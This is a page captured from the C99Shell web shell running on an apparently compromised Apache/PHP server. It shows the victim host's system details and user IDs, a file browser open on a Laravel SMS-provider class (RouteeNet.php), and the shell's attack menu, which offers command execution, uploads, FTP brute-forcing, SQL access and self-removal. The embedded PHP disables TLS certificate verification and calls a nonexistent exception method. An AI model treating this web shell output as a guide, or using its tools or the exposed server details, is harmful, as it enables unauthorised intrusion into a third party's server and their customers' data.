!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/SmsProvider/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RouteeNet.php (5.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\SmsProvider;

use 
App\Models\Expense;
use 
App\Models\MessageLog;
use 
App\Models\SmsQueue;
use 
Illuminate\Support\Facades\Log;
use 
Vonage\Client\Credentials\Basic;

class 
RouteeNet
{

    private 
$credentials;
    private 
$to_numbers;
    private 
$body;
    private 
$from_number;
    private 
$mms_files;
    private 
$message;
    private 
$send_fail=[];
    private 
$message_log;
    private 
$queue=null;

    public function 
__construct($credentials)
    {
        
$this->credentials=$credentials;
    }

    public function 
setTo($to)
    {
        
$this->to_numbers $to;
        return 
$this;
    }

    public function 
setBody($body)
    {
        
$this->body $body;
        return 
$this;
    }

    public function 
setFrom($from)
    {
        
$this->from_number $from;
        return 
$this;
    }
    public function 
setFiles($files){
        
$this->mms_files=$files;
        return 
$this;
    }

    public function 
setMessage($message){
        
$this->message=$message;
        return 
$this;
    }
    public function 
setQueue($queue){
        
$this->queue=$queue;
        return 
$this;
    }

    public function 
setType($response){
        
$this->sms_type=$response;
        return 
$this;
    }


    public function 
send()
    {
        if (!isset(
$this->credentials->route_net_status) || $this->credentials->route_net_status !='active'){
            throw new 
\Exception('This provider is not active. Please contact with the administrator');
        }
        if (!
$this->credentials->route_net_url) {
            throw new 
\Exception('Please Set RouteNet URL First');
        }
        foreach (
$this->to_numbers as $to) {
            try {
                if (
$this->sms_type && $this->sms_type=='inbox') {
                    
$type 'inbox';
                }else{
                    
$type 'sent';
                }
                if(
$this->queue){
                    
$this->message_log=MessageLog::updateOrCreate([
                        
'to'=>$to,
                        
'from'=>$this->from_number,
                        
'body'=>$this->body,
                        
'message_id'=>$this->message->id,
                        
'customer_id'=>$this->message->customer_id,
                        
'type'=>'sent',
                    ],[
'status'=>'succeed','queue_id'=>$this->queue->id]);
                }else{
                    
$this->message_log=MessageLog::create([
                        
'to'=>$to,
                        
'from'=>$this->from_number,
                        
'body'=>$this->body,
                        
'message_id'=>$this->message->id,
                        
'customer_id'=>$this->message->customer_id,
                        
'type'=> $type,
                        
'status'=>'succeed'
                    
]);
                }



                
$client=new \GuzzleHttp\Client(['verify' => false ]);
                
$guzzleResponse $client->post('https://auth.routee.net/oauth/token', [
                    
'body'=>[
                        
'grant_type'=>'client_credentials',
                    ],
                    
'headers' => [
                        
'Authorization:Basic '.base64_encode($this->credentials->route_net_app_id.':'.$this->credentials->route_net_api_secret),
                        
'Content-Type' => 'application/json',
                    ]
                ]);
                
$response =$guzzleResponse->getBody()->getContents();

                
Log::info($response);

                    
$response json_decode($responsetrue);

                    if (isset(
$response) && is_array($response) && array_key_exists('access_token'$response)) {
                        
$access_token $response['access_token'];

                        
$parameters = [
                            
'body' => $this->body,
                            
'to'   => $to,
                            
'from' => $this->from_number,
                        ];

                        
$sendSMS json_encode($parameters);

                        
$sendMessageGuzz=new \GuzzleHttp\Client(['verify' => false ]);
                        
$messageResponse $sendMessageGuzz->post($this->credentials->route_net_url, [
                            
'body'=>$sendSMS,
                            
'headers' => [
                                
"authorization: Bearer ".$access_token,
                                
"content-type: application/json",
                            ]
                        ]);
                        
Log::info($messageResponse);
                    }
                    else {
                        
$get_sms_status 'Access token not found';
                    }

            } catch (
\Exception $ex) {
                if(
$this->message_log){
                    
$this->message_log->update(['status'=>'failed','response_code'=>$ex->getTelnyxCode()]);
                }
                if (
$this->queue){
                    
$this->queue->update(['status'=>'failed','response_code'=>$ex->getTelnyxCode()]);
                }
                
$this->setSendFail([
                    
'message_id' => $this->message->id,
                    
'from_number' =>$this->from_number,
                    
'to_number' => $to,
                    
'created_at' => now(),
                    
'updated_at' => now(),
                    
'reason' => $ex->getMessage(),
                ]);
            }
        }

    }

    public function 
getSendFail(){
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray){
        
$this->send_fail[]=$sendFailArray;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0089 ]--